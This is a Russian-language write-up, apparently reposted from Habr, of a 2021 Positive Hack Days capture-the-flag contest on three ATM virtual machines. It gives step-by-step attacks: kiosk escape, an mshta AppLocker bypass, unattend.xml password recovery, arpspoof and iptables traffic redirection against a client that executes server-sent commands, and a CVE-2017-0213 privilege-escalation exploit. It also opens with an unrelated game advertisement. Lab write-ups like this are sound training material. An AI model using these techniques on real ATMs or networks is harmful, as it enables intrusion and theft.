Как ломать банкоматы? ARP-spoofing, CVE, обход киоска

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Прежде чем перейти к статье, хочу вам представить, экономическую онлайн игру Brave Knights, в которой вы можете играть и зарабатывать. Регистируйтесь, играйте и зарабатывайте!

Виды в окрестностях  Payment Village
Виды в окрестностях Payment Village

На прошедшем 20-21 мая 2021 Positive Hack Days в зоне Payment Village был представлен конкурс, где участники могли посоревноваться в хакерских способностях, а именно во взломе банкоматов. Организаторами было подготовлено 3 виртуальных машины банкоматов с разным уровнем сложности. На протяжении двух дней участники пытались произвести взлом банкоматов, но всего несколько человек смогли приблизиться к заложенным сценариям. Виртуальные машины банкоматов можно и сейчас скачать по ссылкам ниже.

  • bankomat1.ova

  • bankomat2.ova

  • bankomat3.ova

    Мы решили сделать разбор кейсов в виде статьи, с помощью которой вы пошагово сможете взломать три виртуальных машины, представленных выше и, соответственно, прокачать свой скилл, узнав новые техники взлома.


bankomat1.ova (сложность medium)

Участникам необходимо было запустить .vbs скрипт в обход существующих ограничений AppLocker и каким-либо образом повысить привилегии в системе до администратора.

Сразу после загрузки виртуальной машины перед участником появляется вызывающая надпись "Я банкомат и жду пока меня кто-то сломает". Кроме этого в задании существует много различных отвлекающих внимание секретов)

Например, внезапно может появиться окно "Доступны обновления" в котором не работает кнопка, что дает ложные надежды найти выход из режима киоска.

Или такое - комбинация клавиш CTRL+ALT+DEL работает, но открыть диспетчер задач не получится из-за ограничений в реестре.

Комбинации клавиш и обход applocker

Для взлома банкомата злоумышленнику необходимо каким-либо образом подключить клавиатуру к банкомату, чтобы попытаться выйти из режима киоска с помощью комбинаций клавиш. Т.к. мы используем VMware, клавиатура у нас есть, следовательно провести такую атаку мы можем. Итак, пробегаемся по кнопкам и замечаем что многие их них не работают, не работает ALT+TAB, не работает аппаратная кнопка калькулятора (у вас есть такая на клавиатуре?), не работает клавиша Win, на первый взгляд не работает даже ALT+F4

Но вдруг после многочасовых попыток поиска нужной комбинации клавиш, нам удается заметить что после нажатия ALT+F4 несколько раз, киоск всё-таки закрывается. Что должно натолкнуть нас на такую идею - это запуск блокнота при старте виртуальной машины. Буквально на секунду он проскакивает, и его даже видно, а потом поверх запускается киоск. Секрет заключается в том что параллельно запускается два киоска, которые нужно закрыть поочередно. Чтобы закрыть их поочередно, нужно использовать ALT+F4 и ЛКМ. В Windows с помощью ALT+F4 окна закрываются всегда по одинаковому сценарию. В нашем случае запускался сначала notepad.exe, потом kiosk.exe, потом еще раз kiosk.exe, и закрывались, они, соответственно, в таком-же порядке, если не использовать ЛКМ. Итого мы научились закрывать киоск.

Далее через блокнот открываем консоль. Следует отметить что консоль нам нужна для того, чтобы поэксплуатировать известную дыру в Windows, которая позволяет нам запускать .vbs скрипты в обход Applocker

Невозможно запустить скрипт напрямую
Невозможно запустить скрипт напрямую

Используем следующую команду и выполняем первую часть задания

mshta "vbscript:window.close(msgbox("test"))
Чем вам не дыра?
Чем вам не дыра?

Повышение привилегий

Для повышения привилегий необходимо было найти в файле C:\\Windows\Panther\unattend.xml пароль админа зашифрованный в base64

С этой задачей участники благополучно справились.

bankomat2.ova (сложность hard)

Данный банкомат работает по следующему принципу: каждый раз при запуске стартует приложение client.exe, которое обращается к удаленному серверу , проверяет сертификат сервера и если он валидный, шлет команду getcommand, на которую сервер в свою очередь отвечает командой, которую должен выполнить клиент.

client.py

import ssl
import os
import socket
from cryptography import x509
from cryptography.hazmat.backends import default_backend

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
wrappedSocket = ssl.wrap_socket(sock)

try:
    wrappedSocket.connect(('127.0.0.1', 1234))
except:
    response = False
else:
    pem_cert = ssl.DER_cert_to_PEM_cert(wrappedSocket.getpeercert(True))
    print(pem_cert)
    print(wrappedSocket.getpeercert(True))
    cert = x509.load_pem_x509_certificate(str.encode(pem_cert), default_backend())
    print(cert.subject.rfc4514_string().split(",")[1][3:])
    if cert.subject.rfc4514_string().split(",")[1][3:] == 'ab.ab.ru':
        wrappedSocket.sendall('getcommand'.encode())
        os.system(wrappedSocket.recv(1024).decode()) 
        wrappedSocket.close()
    else:
        wrappedSocket.sendall('invalid cert'.encode())
        wrappedSocket.close()

server.py

import socket, ssl

context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
context.load_cert_chain(certfile="cert.pem") 

bindsocket = socket.socket()
bindsocket.bind(('127.0.0.1', 1234))
bindsocket.listen(5)

while True:
    newsocket, fromaddr = bindsocket.accept()
    sslsoc = context.wrap_socket(newsocket, server_side=True)
    request = sslsoc.read()
    if request.decode() == 'getcommand':
        sslsoc.sendall('calc.exe'.encode())
        print(request)
    else:
        sslsoc.sendall('command not found'.encode())
        print(request)

Итого злоумышленнику необходимо поднять свой сервер, каким-то образом редиректнуть на него трафик с банкомата и подстроить ответ, чтобы выполнить свою команду. Кроме этого нужно понять как генерировать сертификат для проверки. Очень просто:

openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.pem

Итак, для взлома этого банкомата можно использовать ARP-Spoofing

Скачиваем Kali Linux, вводим команду sudo apt install dsniff, с помощью которой мы сможем установить пакет в котором есть инструмент arpspoof, который позволит провести нам данную атаку.

После пишем sudo arpspoof -t 192.168.11.130 -r 192.168.11.2 чтобы перенаправить трафик с банкомата через нас на шлюз.

(192.168.11.130 - IP адрес банкомата, 192.168.11.2 - IP адрес шлюза)

С помощью следующей команды редиректим трафик с 7776 порта на 8080

sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 7776 -j REDIRECT --to-port 8080

Сервер принимает команды
Сервер принимает команды

Генерируем сертификат и запускаем сервер на порте 8080. Можно использовать код, который я привел выше, запускать мы будем explorer.exe

При генерации сертификата не забудьте укзать в Common Name
  сертификата поддомен ab.ab.ru, иначе клиенту не понравится ваш сертификат.

Демонстрация атаки
Демонстрация атаки

После генерации cert.pem следует поместить в папку рядом со скриптом server.py

Итак, наконец, мы видим долгожданный проводник, через который нам надо открыть Internet Explorer, который чудом оказался не запрещен.

Скачиваем эксплойт CVE-2017-0213_x64.exe (https://github.com/eonrickity/CVE-2017-0213), переносим его в папку kiosk, запускаем и повышаемся в правах до администратора.

Видео автора по поводу этого эксплойта:

bankomat3.ova (сложность low)

Здесь все сложнее т.к. большинство клавиш просто запрещены. Для взлома данной виртуальной машины необходим выход в безопасный режим - кнопка 4 на следующем скрине.

  1. Для выхода в безопасный режим необходимо перезагрузить банкомат во время перезагрузки;

  2. Перезагружаемся в параметры загрузки;

  3. В виртуальной машине есть несколько аккаунтов: bankomat и Администратор. При входе в аккаунт администратора хакер не сможет ничего выполнить т.к. перед ним будет черный экран;

  4. Далее следует повышение привилегий. Повысить привилегии можно несколькими способами. Самый легкий способ - администратор не указал пароль для своего аккаунта и UAC можно обойти, просто оставив пустой пароль;

С этой задачей участники почти справились, чуть-чуть не хватило.

Выводы

Еще раз спасибо участникам, а также победителям truebar и Soapboiler! Свои призы они уже получили.

В статье были продемонстрированы крутые кейсы и техники, с помощью которых можно пробовать ломать банкоматы. Рабочих и наглядных сценариев для ARP-Spoofing сейчас действительно мало, исправляем эту проблему.

Итого, если вы защищаете банкомат, не забывайте про комбинации клавиш, лучше прячьте свой пароль и обдумывайте логику проверки сертификатов. Также следует чаще обновлять свой софт, чтобы старые CVE не работали)

Ссылки

https://t.me/phdays_payment

Телеграм автора - @yurasikhacker

Клиент чекает сертификат сервера на наличие поддомена ab.ab.ru и, если сертификат валидный , запрашивает команду у сервера. Сервер же в свою очередь отправляет команду и ждет результат её выполнения от клиента.

Источник: https://habr.com/ru/post/563522/


Интересные статьи

Интересные статьи

Минувшей зимой мы впервые опробовали формат хакатона. Из-за ограничений на массовые мероприятия он проходил в формате онлайн, но это никак не сказалось на наших ожиданиях...
Маркетплейс – это сервис от 1С-Битрикс, который позволяет разработчикам делиться своими решениями с широкой аудиторией, состоящей из клиентов и других разработчиков.
Как обновить ядро 1С-Битрикс без единой секунды простоя и с гарантией работоспособности платформы? Если вы не можете закрыть сайт на техобслуживание, и не хотите экстренно разворачивать сайт из бэкапа...
Основанная в 1998 году компания «Битрикс» заявила о себе в 2001 году, запустив первый в России интернет-магазин программного обеспечения Softkey.ru.
Практически все коммерческие интернет-ресурсы создаются на уникальных платформах соответствующего типа. Среди них наибольшее распространение получил Битрикс24.